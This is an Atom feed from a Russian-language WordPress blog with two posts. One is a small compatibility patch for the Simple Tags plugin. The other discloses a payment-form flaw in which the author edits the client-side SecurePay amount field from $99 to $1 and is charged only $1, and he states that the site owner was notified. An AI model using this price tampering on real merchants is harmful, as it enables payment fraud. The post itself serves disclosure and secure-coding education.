<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet href="http://feeds.feedburner.com/~d/styles/atom10russianfull.xsl" type="text/xsl" media="screen"?><?xml-stylesheet href="http://feeds.feedburner.com/~d/styles/itemcontent.css" type="text/css" media="screen"?><feed xmlns="http://www.w3.org/2005/Atom" xmlns:thr="http://purl.org/syndication/thread/1.0" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" xml:lang="en" xml:base="http://blog.sjinks.org.ua/wp-atom.php">
	<title type="text">Ars Longa, Vita Brevis</title>
	<subtitle type="text">Verba volant, scripta manent</subtitle>

	<updated>2008-11-22T04:14:51Z</updated>
	<generator uri="http://wordpress.org/" version="2.7-beta3">WordPress</generator>

	<link rel="alternate" type="text/html" href="http://blog.sjinks.org.ua" />
	<id>http://blog.sjinks.org.ua/feed/atom/</id>
	

			<geo:lat>44.60000</geo:lat><geo:long>33.53333</geo:long><link rel="license" type="text/html" href="http://creativecommons.org/licenses/by-nc-sa/3.0/" /><logo>http://creativecommons.org/images/public/somerights20.gif</logo><link rel="self" href="http://feeds.feedburner.com/sjblog" type="application/atom+xml" /><feedburner:emailServiceId>1792998</feedburner:emailServiceId><feedburner:feedburnerHostname>http://www.feedburner.com</feedburner:feedburnerHostname><feedburner:feedFlare href="http://add.my.yahoo.com/rss?url=http%3A%2F%2Ffeeds.feedburner.com%2Fsjblog" src="http://us.i1.yimg.com/us.yimg.com/i/us/my/addtomyyahoo4.gif">Subscribe with My Yahoo!</feedburner:feedFlare><feedburner:feedFlare href="http://www.newsgator.com/ngs/subscriber/subext.aspx?url=http%3A%2F%2Ffeeds.feedburner.com%2Fsjblog" src="http://www.newsgator.com/images/ngsub1.gif">Subscribe with NewsGator</feedburner:feedFlare><feedburner:feedFlare href="http://feeds.my.aol.com/add.jsp?url=http%3A%2F%2Ffeeds.feedburner.com%2Fsjblog" src="http://o.aolcdn.com/favorites.my.aol.com/webmaster/ffclient/webroot/locale/en-US/images/myAOLButtonSmall.gif">Subscribe with My AOL</feedburner:feedFlare><feedburner:feedFlare href="http://www.rojo.com/add-subscription?resource=http%3A%2F%2Ffeeds.feedburner.com%2Fsjblog" src="http://blog.rojo.com/RojoWideRed.gif">Subscribe with Rojo</feedburner:feedFlare><feedburner:feedFlare href="http://www.bloglines.com/sub/http://feeds.feedburner.com/sjblog" src="http://www.bloglines.com/images/sub_modern11.gif">Subscribe with Bloglines</feedburner:feedFlare><feedburner:feedFlare href="http://www.netvibes.com/subscribe.php?url=http%3A%2F%2Ffeeds.feedburner.com%2Fsjblog" src="http://www.netvibes.com/img/add2netvibes.gif">Subscribe with Netvibes</feedburner:feedFlare><feedburner:feedFlare href="http://fusion.google.com/add?feedurl=http%3A%2F%2Ffeeds.feedburner.com%2Fsjblog" src="http://buttons.googlesyndication.com/fusion/add.gif">Subscribe with Google</feedburner:feedFlare><feedburner:feedFlare href="http://www.pageflakes.com/subscribe.aspx?url=http%3A%2F%2Ffeeds.feedburner.com%2Fsjblog" src="http://www.pageflakes.com/ImageFile.ashx?instanceId=Static_4&amp;fileName=ATP_blu_91x17.gif">Subscribe with Pageflakes</feedburner:feedFlare><feedburner:feedFlare href="http://www.plusmo.com/add?url=http%3A%2F%2Ffeeds.feedburner.com%2Fsjblog" src="http://plusmo.com/res/graphics/fbplusmo.gif">Subscribe with Plusmo</feedburner:feedFlare><feedburner:feedFlare href="http://my.feedlounge.com/external/subscribe?url=http%3A%2F%2Ffeeds.feedburner.com%2Fsjblog" src="http://static.feedlounge.com/buttons/subscribe_0.gif">Subscribe with FeedLounge</feedburner:feedFlare><feedburner:feedFlare href="http://www.thefreedictionary.com/_/hp/AddRSS.aspx?http%3A%2F%2Ffeeds.feedburner.com%2Fsjblog" src="http://img.tfd.com/hp/addToTheFreeDictionary.gif">Subscribe with The Free Dictionary</feedburner:feedFlare><feedburner:feedFlare href="http://www.bitty.com/manual/?contenttype=rssfeed&amp;contentvalue=http%3A%2F%2Ffeeds.feedburner.com%2Fsjblog" src="http://www.bitty.com/img/bittychicklet_91x17.gif">Subscribe with Bitty Browser</feedburner:feedFlare><feedburner:feedFlare href="http://www.live.com/?add=http%3A%2F%2Ffeeds.feedburner.com%2Fsjblog" src="http://tkfiles.storage.msn.com/x1piYkpqHC_35nIp1gLE68-wvzLZO8iXl_JMledmJQXP-XTBOLfmQv4zhj4MhcWEJh_GtoBIiAl1Mjh-ndp9k47If7hTaFno0mxW9_i3p_5qQw">Subscribe with Live.com</feedburner:feedFlare><feedburner:feedFlare href="http://mix.excite.eu/add?feedurl=http%3A%2F%2Ffeeds.feedburner.com%2Fsjblog" src="http://image.excite.co.uk/mix/addtomix.gif">Subscribe with Excite MIX</feedburner:feedFlare><feedburner:feedFlare href="http://www.yourminis.com/subscribe.aspx?u=http%3A%2F%2Ffeeds.feedburner.com%2Fsjblog" src="http://www.yourminis.com/images/addtoyourminisbadge.gif">Subscribe with Yourminis.com</feedburner:feedFlare><feedburner:feedFlare href="http://lenta.yandex.ru/settings.xml?name=feed&amp;url=http%3A%2F%2Ffeeds.feedburner.com%2Fsjblog" src="http://lenta.yandex.ru/i/addfeed.gif">?????? ? ??????.?????</feedburner:feedFlare><feedburner:feedFlare href="http://download.attensa.com/app/get_attensa.html?feedurl=http%3A%2F%2Ffeeds.feedburner.com%2Fsjblog" src="http://www.attensa.com/blogs/attensa/WindowsLiveWriter/BadgeredintoBadges_10C02/attensa_feed_button5.gif">Subscribe with Attensa for Outlook</feedburner:feedFlare><feedburner:feedFlare href="http://www.webwag.com/wwgthis.php?url=http%3A%2F%2Ffeeds.feedburner.com%2Fsjblog" src="http://www.webwag.com/images/wwgthis.gif">Subscribe with Webwag</feedburner:feedFlare><feedburner:feedFlare href="http://hub.netomat.net/account/account.autoSubscribe.jspa?urls=http%3A%2F%2Ffeeds.feedburner.com%2Fsjblog" src="http://www.netomat.net/blogger/images/icon_netomat_feedbutton.gif">Subscribe with netomat Hub</feedburner:feedFlare><feedburner:feedFlare href="http://www.dailyrotation.com/index.php?feed=http%3A%2F%2Ffeeds.feedburner.com%2Fsjblog" src="http://www.dailyrotation.com/rss-dr2.gif">Subscribe with Daily Rotation</feedburner:feedFlare><feedburner:feedFlare href="http://www.podcastready.com/oneclick_bookmark.php?url=http%3A%2F%2Ffeeds.feedburner.com%2Fsjblog" src="http://www.podcastready.com/images/podcastready_button.gif">Subscribe with Podcast Ready</feedburner:feedFlare><feedburner:feedFlare href="http://www.flurry.com/pushRssFeed.do?r=fb&amp;url=http%3A%2F%2Ffeeds.feedburner.com%2Fsjblog" src="http://www.flurry.com/images/flurry_rss_logo2.gif">Subscribe with Flurry</feedburner:feedFlare><feedburner:feedFlare href="https://intouch.particls.com/download/?mode=2&amp;feed=http%3A%2F%2Ffeeds.feedburner.com%2Fsjblog" src="https://intouch.particls.com/resources/buttons/it-button2.gif">Subscribe with Particls</feedburner:feedFlare><feedburner:feedFlare href="http://www.addtoany.com/?linkname=Ars%20Longa%2C%20Vita%20Brevis&amp;linkurl=http%3A%2F%2Ffeeds.feedburner.com%2Fsjblog&amp;type=feed" src="http://www.addtoany.com/addfr-b.gif">Add to Any Feed Reader</feedburner:feedFlare><feedburner:feedFlare href="http://www.fwicki.com/users/default.aspx?addfeed=http%3A%2F%2Ffeeds.feedburner.com%2Fsjblog" src="http://www.fwicki.com/images/ui/fwicki_clicklet.png">Subscribe with fwicki</feedburner:feedFlare><feedburner:feedFlare href="zune://subscribe/?Ars%20Longa%2C%20Vita%20Brevis=http%3A%2F%2Ffeeds.feedburner.com%2Fsjblog" src="https://www.feedburner.com/fb/images/partners/sslchicklets/zune.gif">Subscribe with Zune Marketplace</feedburner:feedFlare><entry>
		<author>
			<name>Vladimir</name>
						<uri>http://sjinks.org.ua/</uri>
					</author>
		<title type="html"><![CDATA[WordPress 2.7 и Simple Tags]]></title>
		<link rel="alternate" type="text/html" href="http://feeds.feedburner.com/~r/sjblog/~3/461480387/" />
		<id>http://blog.sjinks.org.ua/?p=370</id>
		<updated>2008-11-22T04:14:51Z</updated>
		<published>2008-11-22T04:14:51Z</published>
		<category scheme="http://blog.sjinks.org.ua" term="Патчи" /><category scheme="http://blog.sjinks.org.ua" term="patch" /><category scheme="http://blog.sjinks.org.ua" term="plugin" /><category scheme="http://blog.sjinks.org.ua" term="Simple Tags" /><category scheme="http://blog.sjinks.org.ua" term="WordPress" /><category scheme="http://blog.sjinks.org.ua" term="патч" /><category scheme="http://blog.sjinks.org.ua" term="плагин" />		<summary type="html"><![CDATA[Simple Tags&#160;&#8212;&#160;это плагин для WordPress, предназначенный для управления тэгами (или, как их еще называют, метками). Достоинств у плагина очень много (полный список&#160;&#8212;&#160;на официальной странице плагина), работает просто на "ура".
Но, как обычно, в бочке мёда есть ложка дёгтя: плагин отказывается работать в WordPress&#160;2.7. Причём довольно-таки по-глупому: номера версий, с которыми плагин хочет работать, жёстко зашиты в [...]]]></summary>
		<content type="html" xml:base="http://blog.sjinks.org.ua/wordpress/patches/370-wordpress-27-and-simple-tags/">&lt;p&gt;&lt;a href="http://www.herewithme.fr/wordpress-plugins/simple-tags" rel="nofollow"&gt;&lt;strong&gt;Simple Tags&lt;/strong&gt;&lt;/a&gt;&amp;nbsp;&amp;mdash;&amp;nbsp;это плагин для WordPress, предназначенный для управления тэгами (или, как их еще называют, метками). Достоинств у плагина очень много (полный список&amp;nbsp;&amp;mdash;&amp;nbsp;на &lt;a href="http://wordpress.org/extend/plugins/simple-tags/" rel="nofollow"&gt;официальной странице плагина&lt;/a&gt;), работает просто на "ура".&lt;/p&gt;
&lt;p&gt;Но, как обычно, в бочке мёда есть ложка дёгтя: плагин отказывается работать в WordPress&amp;nbsp;2.7. Причём довольно-таки по-глупому: номера версий, с которыми плагин &lt;em&gt;хочет&lt;/em&gt; работать, жёстко зашиты в коде. Если в список добавить 2.7, плагин будет работать.&lt;span id="more-370"&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;По традиции, для таких случаев привожу патч (в формате unified diff):&lt;/p&gt;
          
&lt;div class="codebox"&gt;
    &lt;div class="the_code" style="" id="p3702"&gt;
        &lt;div class="code diff" id="p370code2"&gt;
--- simple-tags.php.orig &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span class="nu0"&gt;2008&lt;/span&gt;-05-05 &lt;span class="nu0"&gt;18&lt;/span&gt;:&lt;span class="nu0"&gt;37&lt;/span&gt;:&lt;span class="nu0"&gt;58.000000000&lt;/span&gt; +0300 &lt;br /&gt;
&lt;span class="re4"&gt;+++ simple-tags.php &amp;nbsp; &amp;nbsp; &lt;span class="nu0"&gt;2008&lt;/span&gt;-&lt;span class="nu0"&gt;11&lt;/span&gt;-&lt;span class="nu0"&gt;22&lt;/span&gt; 05:&lt;span class="nu0"&gt;27&lt;/span&gt;:&lt;span class="nu0"&gt;50.000000000&lt;/span&gt; +0200 &lt;/span&gt;&lt;br /&gt;
&lt;span class="re6"&gt;@@ -&lt;span class="nu0"&gt;32&lt;/span&gt;,&lt;span class="nu0"&gt;7&lt;/span&gt; +&lt;span class="nu0"&gt;32&lt;/span&gt;,&lt;span class="nu0"&gt;7&lt;/span&gt; @@ &lt;/span&gt;&lt;br /&gt;
&amp;nbsp; &lt;br /&gt;
&amp;nbsp;// Check version. &lt;br /&gt;
&amp;nbsp;global $wp_version; &lt;br /&gt;
&lt;span class="re7"&gt;-if &lt;span class="br0"&gt;&amp;#40;&lt;/span&gt; strpos&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;$wp_version, '&lt;span class="nu0"&gt;2.5&lt;/span&gt;'&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt; !== false || strpos&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;$wp_version, '&lt;span class="nu0"&gt;2.6&lt;/span&gt;'&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt; !== false &amp;nbsp;&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt; &lt;span class="br0"&gt;&amp;#123;&lt;/span&gt; &lt;/span&gt;&lt;br /&gt;
&lt;span class="re8"&gt;+if &lt;span class="br0"&gt;&amp;#40;&lt;/span&gt; strpos&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;$wp_version, '&lt;span class="nu0"&gt;2.5&lt;/span&gt;'&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt; !== false || strpos&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;$wp_version, '&lt;span class="nu0"&gt;2.6&lt;/span&gt;'&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt; !== false || strpos&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;$wp_version, '&lt;span class="nu0"&gt;2.7&lt;/span&gt;'&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt; !== false &lt;span class="br0"&gt;&amp;#41;&lt;/span&gt; &lt;span class="br0"&gt;&amp;#123;&lt;/span&gt; &lt;/span&gt;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; require&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;dirname&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;__FILE__&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt;.'/&lt;span class="nu0"&gt;2.5&lt;/span&gt;/simple-tags.client.php'&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt;; &lt;br /&gt;
&amp;nbsp;&lt;span class="br0"&gt;&amp;#125;&lt;/span&gt; elseif &lt;span class="br0"&gt;&amp;#40;&lt;/span&gt; strpos&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;$wp_version, '&lt;span class="nu0"&gt;2.3&lt;/span&gt;'&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt; !== false &lt;span class="br0"&gt;&amp;#41;&lt;/span&gt; &lt;span class="br0"&gt;&amp;#123;&lt;/span&gt; &lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; require&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;dirname&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;__FILE__&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt;.'/&lt;span class="nu0"&gt;2.3&lt;/span&gt;/simple-tags.client.php'&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt;;
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;


	&lt;h4&gt;Связанные записи&lt;/h4&gt;
	&lt;ul class="st-related-posts"&gt;
	&lt;li&gt;&lt;a href="http://blog.sjinks.org.ua/php/179-patch-for-wp-wassup-151/" title="Патч для WP WassUp 1.5.1 (June 1, 2008)"&gt;Патч для WP WassUp 1.5.1&lt;/a&gt; (1)&lt;/li&gt;
	&lt;li&gt;&lt;a href="http://blog.sjinks.org.ua/wordpress/patches/13-patch-for-wp-codebox-for-valid-xhtml/" title="Патч для WP CodeBox для Valid XHTML (March 11, 2008)"&gt;Патч для WP CodeBox для Valid XHTML&lt;/a&gt; (2)&lt;/li&gt;
	&lt;li&gt;&lt;a href="http://blog.sjinks.org.ua/wordpress/patches/201-patch-for-wassup-16/" title="Патч для WassUp 1.6 (June 20, 2008)"&gt;Патч для WassUp 1.6&lt;/a&gt; (2)&lt;/li&gt;
	&lt;li&gt;&lt;a href="http://blog.sjinks.org.ua/wordpress/patches/86-patch-for-wassup-15-for-wordpress/" title="Патч для WassUp 1.5 for WordPress (April 13, 2008)"&gt;Патч для WassUp 1.5 for WordPress&lt;/a&gt; (2)&lt;/li&gt;
	&lt;li&gt;&lt;a href="http://blog.sjinks.org.ua/wordpress/patches/89-patch-for-subscribe-to-comments-212/" title="Патч для Subscribe to Comments 2.1.2 (April 13, 2008)"&gt;Патч для Subscribe to Comments 2.1.2&lt;/a&gt; (2)&lt;/li&gt;
&lt;/ul&gt;


&lt;p&gt;&lt;a href="http://feeds.feedburner.com/~a/sjblog?a=PoyO2C"&gt;&lt;img src="http://feeds.feedburner.com/~a/sjblog?i=PoyO2C" border="0"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/sjblog?a=nWO4N"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=nWO4N" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=ovZTN"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=ovZTN" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=faLen"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=faLen" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=RHoLn"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=RHoLn" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=EuluN"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=EuluN" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=RNbgn"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=RNbgn" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=49dsN"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=49dsN" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=xlgyn"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=xlgyn" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=dILqN"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=dILqN" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=KVYGN"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=KVYGN" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=RNbgn"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=RNbgn" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=49dsN"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=49dsN" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/sjblog/~4/461480387" height="1" width="1"/&gt;</content>
		<link rel="replies" type="text/html" href="http://blog.sjinks.org.ua/wordpress/patches/370-wordpress-27-and-simple-tags/#comments" thr:count="0" />
		<link rel="replies" type="application/atom+xml" href="http://blog.sjinks.org.ua/wordpress/patches/370-wordpress-27-and-simple-tags/feed/atom/" thr:count="0" />
		<thr:total>0</thr:total>
	<feedburner:awareness>http://api.feedburner.com/awareness/1.0/GetItemData?uri=sjblog&amp;itemurl=http%3A%2F%2Fblog.sjinks.org.ua%2Fwordpress%2Fpatches%2F370-wordpress-27-and-simple-tags%2F</feedburner:awareness><feedburner:origLink>http://blog.sjinks.org.ua/wordpress/patches/370-wordpress-27-and-simple-tags/</feedburner:origLink></entry>
		<entry>
		<author>
			<name>Vladimir</name>
						<uri>http://sjinks.org.ua/</uri>
					</author>
		<title type="html"><![CDATA[Как не нужно интегрировать платёжные системы]]></title>
		<link rel="alternate" type="text/html" href="http://feeds.feedburner.com/~r/sjblog/~3/460214708/" />
		<id>http://blog.sjinks.org.ua/?p=362</id>
		<updated>2008-11-21T01:20:22Z</updated>
		<published>2008-11-21T01:16:33Z</published>
		<category scheme="http://blog.sjinks.org.ua" term="security" /><category scheme="http://blog.sjinks.org.ua" term="hack" /><category scheme="http://blog.sjinks.org.ua" term="spoofing" /><category scheme="http://blog.sjinks.org.ua" term="vulnerability" /><category scheme="http://blog.sjinks.org.ua" term="безопасность" /><category scheme="http://blog.sjinks.org.ua" term="взлом" /><category scheme="http://blog.sjinks.org.ua" term="уязвимость" /><category scheme="http://blog.sjinks.org.ua" term="хак" />		<summary type="html"><![CDATA[Внимание: данную статью не следует воспринимать как руководство юного хакера; материал приведён исключительно в ознакомительных целях, чтобы программисты не повторяли подобных ошибок.
Итак, имеем платёжную форму (информация, идентифицирующая сайт, затёрта):

Ничего сверхестественного: нам предлагают купить некую услугу за $99 в месяц. Всё как обычно. Интересные вещи начинаются, когда смотришь на детали формы:

Для тех, кто не знает: сумма [...]]]></summary>
		<content type="html" xml:base="http://blog.sjinks.org.ua/security/362-incorrect-way-to-integrate-payment-gateways/">&lt;p&gt;&lt;strong style="color: red"&gt;Внимание: данную статью не следует воспринимать как руководство юного хакера; материал приведён исключительно в ознакомительных целях, чтобы программисты не повторяли подобных ошибок.&lt;/strong&gt;&lt;span id="more-362"&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Итак, имеем платёжную форму (информация, идентифицирующая сайт, затёрта):&lt;br /&gt;
&lt;img src="http://static2.sjinks.org.ua:8080/wp-content/uploads/2008/11/source-form.png" alt="Исходная форма" title="Исходная форма" class="size-full wp-image-363" /&gt;&lt;/p&gt;
&lt;p&gt;Ничего сверхестественного: нам предлагают купить некую услугу за $99 в месяц. Всё как обычно. Интересные вещи начинаются, когда смотришь на детали формы:&lt;/p&gt;
&lt;p&gt;&lt;img src="http://static2.sjinks.org.ua:8080/wp-content/uploads/2008/11/form-details.png" alt="Информация о форме" title="Информация о форме" class="size-full wp-image-364" /&gt;&lt;/p&gt;
&lt;p&gt;Для тех, кто не знает: сумма платежа для системы SecurePay задается как целое число (исходноё значение умножается на 100). Так, $99.00 передается как 9900, а, скажем, $20.45&amp;nbsp;&amp;mdash;&amp;nbsp;как 2045.&lt;/p&gt;
&lt;p&gt;У любого человека, занимавшегося интеграцией платёжных систем и имеющего опыт в компьютерной безопасности, возникает законный вопрос: если скрипт перед отправкой платёжных данных обрабатывает эти самые данные, зачем помещать в форму итоговое значение, причем отформатированное для платёжной системы? Если этот человек имел дело с &lt;a href="http://blog.sjinks.org.ua/humour/76-programmers-russian-indian-chinese-canadian/"&gt;индопакистанофилиппинцами&lt;/a&gt;, то ему только остаётся схватиться за голову.&lt;/p&gt;
&lt;p&gt;А что произойдет, если подменить значение на, скажем, 0100 ($1)? На нулевое менять нельзя, любая уважающая себя платёжка ругнётся; например, так:&lt;/p&gt;
&lt;p&gt;&lt;img src="http://static2.sjinks.org.ua:8080/wp-content/uploads/2008/11/invalid-amount.png" alt="Invalid Amount" title="Invalid Amount" class="size-medium wp-image-365" /&gt;&lt;/p&gt;
&lt;p&gt;Кстати, отрицательный результат&amp;nbsp;&amp;mdash;&amp;nbsp;тоже результат: ошибку возвращает SecurePay, а из этого следует, что скрипт &lt;strong&gt;не проверяет значение суммы платежа&lt;/strong&gt;, и ему можно скормить &lt;strong&gt;любое значение&lt;/strong&gt;!&lt;/p&gt;
&lt;p&gt;Итак, меняем сумму платежа:&lt;br /&gt;
&lt;img src="http://static2.sjinks.org.ua:8080/wp-content/uploads/2008/11/changed-amount.png" alt="Изменённое значение суммы платежа" title="Изменённое значение суммы платежа" class="alignnone size-full wp-image-366" /&gt;&lt;/p&gt;
&lt;p&gt;И отправляем форму. В результате получаем такую картину:&lt;br /&gt;
&lt;img src="http://static2.sjinks.org.ua:8080/wp-content/uploads/2008/11/payment-successful.png" alt="Платёж прошел успешно" title="Платёж прошел успешно" class="alignnone size-full wp-image-367" /&gt;&lt;/p&gt;
&lt;p&gt;Осталось посмотреть, сколько денег снялось:&lt;br /&gt;
&lt;img src="http://static2.sjinks.org.ua:8080/wp-content/uploads/2008/11/amount-charged.png" alt="Снялся один доллар" title="Снялся один доллар" class="alignnone size-full wp-image-368" /&gt;&lt;/p&gt;
&lt;p&gt;Как видим, снялся $1.00&amp;nbsp;&amp;mdash;&amp;nbsp;операция прошла успешно.&lt;/p&gt;
&lt;p&gt;Программистам (справедливости ради стоит отметить, что это были не индийцы, а румынец из компании SurgeWorks) могу сказать следующее: &lt;a href="http://blog.sjinks.org.ua/security/9-security-they-talk-so-much-about/"&gt;&lt;strong&gt;никогда&lt;/strong&gt; не доверяйте данным, которые пришли от пользователя&lt;/a&gt;. Лень (и непрофессионализм) в этом случае могут обернуться большими потерями.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; чтобы ни у кого не возникало желание обвинить меня в обмане владельца сайта и взломе всяких разных сайтов, к которым я не имею никакого отношения (Jurgen, привет!): я поставил владельца сайта в известность, и мы с ним работаем над устранением уязвимости.&lt;/p&gt;

	&lt;h4&gt;Связанные записи&lt;/h4&gt;
	&lt;ul class="st-related-posts"&gt;
	&lt;li&gt;&lt;a href="http://blog.sjinks.org.ua/security/233-vodka-with-phenazepam-or-truth/" title="Водка с феназепамом? Или всё-таки правда? (July 16, 2008)"&gt;Водка с феназепамом? Или всё-таки правда?&lt;/a&gt; (6)&lt;/li&gt;
	&lt;li&gt;&lt;a href="http://blog.sjinks.org.ua/security/9-security-they-talk-so-much-about/" title="Безопасность, о которой все так много говорят&amp;hellip; (March 11, 2008)"&gt;Безопасность, о которой все так много говорят&amp;hellip;&lt;/a&gt; (10)&lt;/li&gt;
	&lt;li&gt;&lt;a href="http://blog.sjinks.org.ua/security/83-vulnerabilities-on-odesk/" title="Уязвимости oDesk (April 10, 2008)"&gt;Уязвимости oDesk&lt;/a&gt; (2)&lt;/li&gt;
	&lt;li&gt;&lt;a href="http://blog.sjinks.org.ua/security/361-minimizing-consequences-of-http-scans/" title="Минимизируем неприятные последствия HTTP-сканирования (November 19, 2008)"&gt;Минимизируем неприятные последствия HTTP-сканирования&lt;/a&gt; (1)&lt;/li&gt;
	&lt;li&gt;&lt;a href="http://blog.sjinks.org.ua/security/196-vulnerability-in-safari-for-windows-proves-critical/" title="Доказана критичность уязвимости в Safari для Windows (June 15, 2008)"&gt;Доказана критичность уязвимости в Safari для Windows&lt;/a&gt; (0)&lt;/li&gt;
&lt;/ul&gt;


&lt;p&gt;&lt;a href="http://feeds.feedburner.com/~a/sjblog?a=jyWNFD"&gt;&lt;img src="http://feeds.feedburner.com/~a/sjblog?i=jyWNFD" border="0"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/sjblog?a=lxjsN"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=lxjsN" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=ScH3N"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=ScH3N" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=QGx7n"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=QGx7n" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=ELxCn"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=ELxCn" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=uXYRN"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=uXYRN" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=0Ihun"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=0Ihun" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=IpvaN"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=IpvaN" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=r2Zon"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=r2Zon" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=4hXaN"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=4hXaN" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=0lPqN"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=0lPqN" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=0Ihun"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=0Ihun" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=IpvaN"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=IpvaN" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/sjblog/~4/460214708" height="1" width="1"/&gt;</content>
		<link rel="replies" type="text/html" href="http://blog.sjinks.org.ua/security/362-incorrect-way-to-integrate-payment-gateways/#comments" thr:count="3" />
		<link rel="replies" type="application/atom+xml" href="http://blog.sjinks.org.ua/security/362-incorrect-way-to-integrate-payment-gateways/feed/atom/" thr:count="3" />
		<thr:total>3</thr:total>
